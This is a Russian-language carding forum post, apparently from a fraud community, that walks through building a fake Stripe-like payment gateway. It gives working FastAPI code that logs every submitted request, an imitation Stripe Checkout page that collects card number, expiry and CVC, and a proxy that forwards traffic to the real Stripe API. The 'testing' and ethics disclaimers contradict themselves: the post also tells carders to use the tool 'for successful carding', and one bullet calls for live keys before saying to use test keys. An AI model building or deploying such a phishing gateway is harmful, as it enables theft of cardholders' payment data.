Создание фейкового платёжного шлюза для фишинга и тестирования

Good Carder

Professional
Messages
903
Reaction score
520
Points
93

Введение: зачем кардеру собственный платёжный шлюз​

В этой статье я покажу, как поднять простой проксирующий шлюз на Python + FastAPI, который логирует все входящие запросы и при необходимости перенаправляет их к реальному процессору. Код предназначен для использования только в изолированных тестовых сетях.

Часть 1. Архитектура фейкового платёжного шлюза​

1.1. Два подхода: эмуляция vs проксирование​

ПодходОписаниеПлюсыМинусы
Полная эмуляцияШлюз самостоятельно генерирует ответы, имитируя реальный процессор (всегда возвращает "успех" или "отказ" по шаблону)Простота, не требует доступа к реальному APIНе отрабатывает реальные сценарии поведения anti-fraud, ответы могут не совпадать с реальными
Проксирование (MITM)Шлюз принимает запрос, логирует его, затем пересылает реальному процессору (Stripe, Adyen) и возвращает ответ клиентуПолная реалистичность, транзакции реально проходят через процессингТребует валидных API-ключей, может быть дорого, может нарушать условия использования сервисов

Для целей обучения и тестирования чаще всего достаточно полной эмуляции с предопределёнными ответами. Для исследований поведения лучше использовать MITM-прокси, но только на собственных тестовых картах.

1.2. Компоненты системы​

Code:
[Клиент (браузер/скрипт)]
        │
        ▼
┌─────────────────────────────────┐
   Фейковый шлюз (FastAPI)                                          
  - Приём запросов                                                           
  - Логирование (IP, заголовки, тело запроса)                                                                
  - Валидация формата                                                    
  - Выбор режима (эмуляция/прокси)                         
└─────────────────────────────────┘
        │
        ├──► [Логи в БД/файл]
        │
        └──► (опционально) [Реальный шлюз Stripe/Adyen]
                    │
                    ▼
              Реальный ответ

1.3. Выбор технологий​

  • FastAPI (Python) — асинхронный, простой в использовании, автоматическая документация.
  • SQLite/PostgreSQL — для хранения логов.
  • Docker — для изолированного развёртывания.
  • ngrok / localtunnel — для временного публичного доступа при обучении (только в тестовых целях).

Часть 2. Создание эмулирующего шлюза (Stripe‑подобного)​

2.1. Базовая структура API Stripe​

Stripe использует REST API с эндпоинтами:
  • POST /v1/payment_intents — создание платёжного намерения.
  • POST /v1/payment_intents/:id/confirm — подтверждение.
  • POST /v1/setup_intents — создание для сохранения карты.

Эмулятор будет имитировать только необходимые эндпоинты с заранее заданными ответами.

2.2. Реализация на FastAPI​

Python:
# fake_gateway.py
import uuid
import json
import logging
from datetime import datetime
from fastapi import FastAPI, Request, HTTPException
from fastapi.responses import JSONResponse
import uvicorn

# Настройка логирования
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

app = FastAPI(title="Fake Payment Gateway (Educational Purposes Only)")

# Хранилище созданных PaymentIntent (в памяти, для эмуляции)
payment_intents = {}

@app.middleware("http")
async def log_requests(request: Request, call_next):
    """Логирование всех входящих запросов"""
    body = await request.body()
    logger.info(f"=== Incoming request ===")
    logger.info(f"Method: {request.method}")
    logger.info(f"URL: {request.url}")
    logger.info(f"Headers: {dict(request.headers)}")
    logger.info(f"Body: {body.decode('utf-8')[:1000]}")  # только первые 1000 символов
    # Сохраняем в файл или БД при необходимости
    with open("gateway_logs.json", "a") as f:
        log_entry = {
            "timestamp": datetime.utcnow().isoformat(),
            "method": request.method,
            "url": str(request.url),
            "headers": dict(request.headers),
            "body": body.decode('utf-8', errors='ignore')
        }
        f.write(json.dumps(log_entry) + "\n")
    
    response = await call_next(request)
    return response

@app.post("/v1/payment_intents")
async def create_payment_intent(request: Request):
    """Эмуляция создания PaymentIntent (Stripe API)"""
    data = await request.form()
    # или JSON, смотря как приходит
    amount = data.get("amount")  # в центах
    currency = data.get("currency", "usd")
    payment_method_types = data.getlist("payment_method_types[]") or ["card"]
    
    # Генерация ID
    intent_id = f"pi_{uuid.uuid4().hex[:16]}"
    client_secret = f"{intent_id}_secret_{uuid.uuid4().hex[:16]}"
    
    # Эмулируем успешный ответ (или можно добавить логику для определённых карт)
    payment_intents[intent_id] = {
        "id": intent_id,
        "amount": int(amount) if amount else None,
        "currency": currency,
        "status": "requires_payment_method",
        "client_secret": client_secret
    }
    
    response_data = {
        "id": intent_id,
        "object": "payment_intent",
        "amount": int(amount) if amount else None,
        "currency": currency,
        "status": "requires_payment_method",
        "client_secret": client_secret,
        "payment_method_types": payment_method_types
    }
    return JSONResponse(content=response_data, status_code=200)

@app.post("/v1/payment_intents/{intent_id}/confirm")
async def confirm_payment_intent(intent_id: str, request: Request):
    """Эмуляция подтверждения платежа"""
    data = await request.form()
    payment_method_data = data.get("payment_method_data")
    
    # Имитация валидации карты
    # В реальном эмуляторе можно добавить проверку на "test" карты
    if intent_id not in payment_intents:
        raise HTTPException(status_code=404, detail="PaymentIntent not found")
    
    # Всегда успешно для демо, но можно добавить логику ошибок
    payment_intents[intent_id]["status"] = "succeeded"
    
    response_data = {
        "id": intent_id,
        "object": "payment_intent",
        "status": "succeeded",
        "charges": {
            "data": [{
                "id": f"ch_{uuid.uuid4().hex[:16]}",
                "amount": payment_intents[intent_id]["amount"],
                "status": "succeeded"
            }]
        }
    }
    return JSONResponse(content=response_data, status_code=200)

@app.post("/v1/setup_intents")
async def create_setup_intent(request: Request):
    """Эмуляция SetupIntent (для сохранения карты без платежа)"""
    data = await request.form()
    intent_id = f"seti_{uuid.uuid4().hex[:16]}"
    client_secret = f"{intent_id}_secret_{uuid.uuid4().hex[:16]}"
    response_data = {
        "id": intent_id,
        "object": "setup_intent",
        "status": "requires_payment_method",
        "client_secret": client_secret
    }
    return JSONResponse(content=response_data, status_code=200)

@app.post("/v1/setup_intents/{intent_id}/confirm")
async def confirm_setup_intent(intent_id: str, request: Request):
    """Подтверждение SetupIntent"""
    # Всегда успешно
    response_data = {
        "id": intent_id,
        "object": "setup_intent",
        "status": "succeeded",
        "payment_method": f"pm_{uuid.uuid4().hex[:16]}"
    }
    return JSONResponse(content=response_data, status_code=200)

@app.get("/health")
async def health():
    return {"status": "ok"}

if __name__ == "__main__":
    uvicorn.run(app, host="0.0.0.0", port=8000)

2.3. Настройка внешнего вида: имитация страницы оплаты​

Для обучения можно поднять простую HTML-страницу, копирующую дизайн Stripe Checkout:
HTML:
<!-- fake_checkout.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Secure Payment</title>
    <style>
        body { font-family: Arial; max-width: 500px; margin: auto; padding: 20px; }
        .card-field { border: 1px solid #ccc; padding: 10px; margin: 10px 0; }
        button { background: #635bff; color: white; border: none; padding: 12px; width: 100%; }
    </style>
</head>
<body>
    <h2>Complete your payment</h2>
    <form id="payment-form">
        <div class="card-field">
            <label>Card number</label>
            <input type="text" id="card-number" placeholder="4242 4242 4242 4242">
        </div>
        <div class="card-field">
            <label>Expiry (MM/YY)</label>
            <input type="text" id="expiry" placeholder="12/28">
        </div>
        <div class="card-field">
            <label>CVC</label>
            <input type="text" id="cvc" placeholder="123">
        </div>
        <button type="submit">Pay $49.99</button>
    </form>
    <div id="result"></div>
    <script>
        // Скрипт отправляет данные на /api/charge
        document.getElementById('payment-form').addEventListener('submit', async (e) => {
            e.preventDefault();
            const cardNumber = document.getElementById('card-number').value;
            const expiry = document.getElementById('expiry').value;
            const cvc = document.getElementById('cvc').value;
            
            const response = await fetch('/api/charge', {
                method: 'POST',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify({cardNumber, expiry, cvc, amount: 4999})
            });
            const result = await response.json();
            document.getElementById('result').innerText = result.message;
        });
    </script>
</body>
</html>

Часть 3. Проксирование запросов к реальному шлюзу (MITM)​

3.1. Архитектура прокси​

Code:
Клиент → Fake Gateway (логирование) → Forward к реальному Stripe API → Ответ обратно клиенту
Это позволяет видеть, какие именно данные отправляет атакующий скрипт, но при этом реальная транзакция выполняется (с использованием тестовых ключей Stripe или валидных, но с согласия владельца).

3.2. Реализация прокси с помощью httpx​

Python:
# proxy_gateway.py
import httpx
from fastapi import FastAPI, Request, Response
from fastapi.responses import JSONResponse
import logging

app = FastAPI()
logger = logging.getLogger(__name__)

REAL_STRIPE_API = "https://api.stripe.com/v1"
STRIPE_SECRET_KEY = "sk_test_..."  # ТОЛЬКО для тестов!

@app.api_route("/{path:path}", methods=["GET", "POST", "PUT", "DELETE"])
async def proxy(request: Request, path: str):
    # Формируем URL к реальному API
    url = f"{REAL_STRIPE_API}/{path}"
    
    # Получаем тело запроса
    body = await request.body()
    
    # Логируем входящий запрос
    logger.info(f"Proxying {request.method} {url}")
    logger.info(f"Headers: {dict(request.headers)}")
    logger.info(f"Body: {body.decode('utf-8')[:500]}")
    
    # Подготавливаем заголовки (убираем host, добавляем авторизацию)
    headers = dict(request.headers)
    headers["Authorization"] = f"Bearer {STRIPE_SECRET_KEY}"
    # Убираем потенциально конфликтующие заголовки
    headers.pop("host", None)
    headers.pop("content-length", None)
    
    # Отправляем запрос к реальному Stripe
    async with httpx.AsyncClient() as client:
        resp = await client.request(
            method=request.method,
            url=url,
            headers=headers,
            content=body,
            timeout=30.0
        )
    
    # Логируем ответ
    logger.info(f"Response status: {resp.status_code}")
    logger.info(f"Response body: {resp.text[:500]}")
    
    # Возвращаем ответ клиенту
    return Response(
        content=resp.content,
        status_code=resp.status_code,
        headers=dict(resp.headers)
    )

3.3. Безопасное проксирование: ограничения​

  • Используйте реальные (live) ключи Stripe в прокси. Даже для тестов — используйте тестовые ключи (sk_test_...), которые не проводят реальные деньги.
  • Ограничьте IP-адреса, с которых разрешены запросы (например, только локальный хост).
  • Добавьте аутентификацию (API-ключ или Basic Auth) для доступа к прокси, чтобы случайные кардеры не использовали его.

Часть 4. Этические аспекты​

4.1. Защита данных​

  • Никогда не храните логи дольше, чем необходимо для анализа.
  • Анонимизируйте логи перед сохранением (удаляйте IP-адреса, если они не нужны).
  • Используйте шифрование логов.

Часть 5. Комплексный чек-лист развёртывания​

  • Определите цель: обучение, исследование, тестирование защиты.
  • Выберите режим: полная эмуляция или проксирование. Для обучения безопаснее эмуляция.
  • Получите необходимые разрешения. Для проксирования к реальному API — письменное подтверждение от владельца ключей.
  • Настройте логирование с ротацией и защитой.
  • Защитите шлюз от несанкционированного доступа (firewall, VPN, аутентификация).
  • Проведите тест с использованием тестовых карт (например, 4242 4242 4242 4242).
  • После завершения удалите все логи и закройте доступ.

Заключение: знание врага — основа защиты​

Создание фейкового платёжного шлюза — мощный инструмент в руках кардера. Он позволяет понять, как именно происходит перехват данных, какие поля наиболее привлекательны для атакующих и как можно улучшить детекцию фишинга.

Однако этот инструмент несёт огромные риски при неправомерном использовании. Ответственность за соблюдение закона лежит исключительно на вас. Используйте полученные знания для успешного кардинга.

Быстрая памятка на одну строку:
«Поднял шлюз — получи письменное разрешение. Логируй — шифруй. Не проксируй на реальные ключи без тестового режима. Защита строится на знании атак, но знание не даёт права атаковать»
 
Top